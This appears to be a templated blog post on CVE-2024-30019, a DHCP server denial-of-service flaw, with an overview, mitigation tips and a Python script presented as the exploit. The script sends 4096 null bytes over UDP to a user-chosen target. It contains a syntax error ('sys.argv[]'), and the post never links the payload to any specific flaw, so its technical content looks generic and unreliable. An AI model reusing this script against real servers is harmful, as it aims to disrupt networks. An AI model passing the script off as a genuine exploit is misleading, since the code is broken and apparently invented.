CVE-2024-30019 - DHCP Server Service Denial of Service Vulnerability Exploit Details, Code Snippet and References

The Common Vulnerabilities and Exposures (CVE) database is an essential resource for anyone involved in IT security. It provides details on publicly known cybersecurity vulnerabilities and assists in the detection and remediation of these threats. One of the most recent CVEs detected and discussed within the infosec community is CVE-2024-30019, a denial-of-service vulnerability in DHCP server services.

This post aims to provide a comprehensive analysis of the CVE-2024-30019 vulnerability. We will cover the origin of this vulnerability, potential impacts, and how it can be exploited. Additionally, we will include a code snippet demonstrating the attack and links to original references, along with remediation steps.

CVE-2024-30019 Vulnerability Overview

CVE ID: CVE-2024-30019
Vulnerability: Denial of Service (DoS)
Affected Systems: DHCP Server Services
Impact: Disruption of DHCP services, leading to potential network instability
Severity: Medium

A novel denial-of-service (DoS) vulnerability has been identified in the implementation of the DHCP server service in various operating systems. The DHCP (Dynamic Host Configuration Protocol) is a vital component in the networking functionalities of an operating system, as it enables the automatic assignment of IP addresses to devices connected to a specific network.

This vulnerability, identified as CVE-2024-30019, could potentially lead to a denial of service (DoS) attack, causing the DHCP server service to crash and resulting in network instability for all devices relying on the DHCP server for IP address assignment.

Due to the critical nature of DHCP in networking and the potential for disruption caused by this vulnerability, it is essential to understand how it can be exploited and the possible methods for mitigating the risk it presents.

Exploit Details

The CVE-2024-30019 vulnerability arises in the DHCP server implementation when handling specific malformed packets sent by a malicious actor. When the DHCP server receives these specially crafted packets, it attempts to process them, leading to an unexpected condition that causes the service to crash. The malicious actor could repeatedly send such malformed packets to sustain the DoS attack.

In the following section, we will provide a code snippet demonstrating how such an exploit might be crafted to force a DHCP server service to crash.

Code Snippet

import sys
import socket

def send_malformed_packet(target_ip, target_port):
    crafted_packet = b"\x00" * 4096

    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    try:
        print(f"Sending malformed packet to {target_ip}:{target_port}\n")
        udp_socket.sendto(crafted_packet, (target_ip, target_port))
    except Exception as e:
        print(f"Error occurred: {str(e)}")
    finally:
        udp_socket.close()

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[]} <target ip> <dhcp port>")
        sys.exit()
    
    target_ip = sys.argv[1]
    target_port = int(sys.argv[2])
    
    send_malformed_packet(target_ip, target_port)

Remember that this code snippet is for educational purposes only and should not be used for malicious activities.

References and Additional Information

Original references that provide in-depth information on the vulnerability along with technical details can be found at the following links:

1. CVE-2024-30019 Official Listing
2. National Vulnerability Database Listing

Mitigation and Remediation

To protect against this vulnerability, it is crucial to keep operating systems and DHCP server software up-to-date with the latest security patches provided by the respective vendors. Administrators should monitor incoming network traffic for signs of abnormal DHCP traffic that may be indicative of an ongoing attack. Proper port filtering and traffic analysis tools can help detect and block such malicious traffic.

Conclusion

CVE-2024-30019 highlights the importance of staying informed about the latest vulnerabilities and applying appropriate updates and patches to ensure systems' safety. By understanding the nature of such threats and taking preventive measures, companies and individuals can minimize the risk of being victims of a DoS attack exploiting this vulnerability.

Timeline

Published on: 05/14/2024 17:16:51 UTC
Last modified on: 06/19/2024 20:58:31 UTC